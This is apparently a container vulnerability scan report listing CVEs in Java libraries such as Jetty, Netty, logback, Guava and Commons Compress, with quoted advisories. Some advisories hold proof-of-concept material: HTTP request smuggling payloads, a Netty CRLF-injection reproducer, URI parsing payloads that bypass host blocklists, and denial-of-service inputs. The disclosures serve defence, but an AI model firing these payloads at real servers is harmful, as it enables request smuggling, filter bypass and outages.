- -Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. - -Users are recommended to upgrade to version 1.24.0, which fixes the issue. - -A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. - -In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. - -Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. - -[1]: https://issues.apache.org/jira/browse/COMPRESS-612 -[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 -[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html -[4]: https://bugs.openjdk.org/browse/JDK-6560193 -[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 - -Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
-medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
- -medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. - -So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. - -
-
- -low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
- -
Description -
- -If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. - -```java -if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) -execCmd = "\"" + execCmd + "\""; -``` - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 ch.qos.logback/logback-core 1.2.13 (maven) - -pkg:maven/ch.qos.logback/logback-core@1.2.13
-medium 5.9: CVE--2025--11226 Improper Input Validation - - - - - - - - -
Affected range<1.3.16
Fixed version1.5.19
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L
EPSS Score0.071%
EPSS Percentile22nd percentile
- -
Description -
- -QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution. - -A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges. - -
-
- -medium 5.9: CVE--2024--12798 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') - - - - - - - - -
Affected range<1.3.15
Fixed version1.3.15
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear
EPSS Score0.290%
EPSS Percentile52nd percentile
- -
Description -
- -ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. - -Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. - -A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege. - -
-
- -low 2.4: CVE--2024--12801 Server-Side Request Forgery (SSRF) - - - - - - - - -
Affected range<1.3.15
Fixed version1.3.15
CVSS Score2.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear
EPSS Score0.048%
EPSS Percentile15th percentile
- -
Description -
- -Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. - -The attacks involves the modification of DOCTYPE declaration in  XML configuration files. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.96.Final
-medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') - - - - - - - - -
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- -### Summary - -The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. - -### Details - -The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) - -The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. - -### PoC - -Simple reproducer: - -```java -public static void main(String[] args) { - - EmbeddedChannel client = new EmbeddedChannel(); - client.pipeline().addLast(new HttpClientCodec()); - - EmbeddedChannel server = new EmbeddedChannel(); - server.pipeline().addLast(new HttpServerCodec()); - server.pipeline().addLast(new ChannelInboundHandlerAdapter() { - @Override - public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - System.out.println("Processing msg " + msg); - } - }); - - DefaultHttpRequest request = new DefaultHttpRequest( - HttpVersion.HTTP_1_1, - HttpMethod.GET, - "/s1 HTTP/1.1\r\n" + - "\r\n" + - "POST /s2 HTTP/1.1\r\n" + - "content-length: 11\r\n\r\n" + - "Hello World" + - "GET /s1" - ); - client.writeAndFlush(request); - ByteBuf tmp; - while ((tmp = client.readOutbound()) != null) { - server.writeInbound(tmp); - } -} -``` - -### Impact - -Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. - -
-
- -medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
- -
Description -
- -### Summary -The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors - -### Details -1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. -2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits - -### PoC - -Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder - - -Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 - -### Impact -Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) - -pkg:maven/org.apache.commons/commons-configuration2@2.8.0
-medium 6.9: CVE--2024--29133 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
- -medium 6.5: CVE--2024--29131 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
- -medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency - - - - - - - - -
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-common@4.1.96.Final
-medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
- -
Description -
- -### Summary -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - -### Details -A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv -This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. - - -### PoC -The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. -When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. - -### Impact -Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv - -
-
- -medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.198%
EPSS Percentile42nd percentile
- -
Description -
- -### Summary - -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - - -### Details - -When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. - -At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. - -1 - -If netty finds this files, it reads them and loads them into memory. - -By default : - -- The JVM maximum memory size is set to 1 GB, -- A non-privileged user can create a directory at `C:\` and create files within it. - -2 - -3 - -the source code identified : -https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java - -Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. - -### PoC - -Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. - -To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) - -``` -cd C:\etc -fsutil file createnew os-release 3000000000 -``` - -4 - -5 - -The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). - -The vulnerability was tested on the 4.1.112.Final version. - -The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 - -### Impact - -By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. - -This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. - -Client mode : - -6 - -Server mode : - -7 - -somaxconn : - -8 - -### Severity - -- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. -- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). -- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. -- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. -- Scope : "Unchanged" because only Netty is affected by the vulnerability. -- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. -- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. -- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) - -pkg:maven/com.google.guava/guava@27.0-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) - -pkg:maven/com.google.guava/guava@30.1.1-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
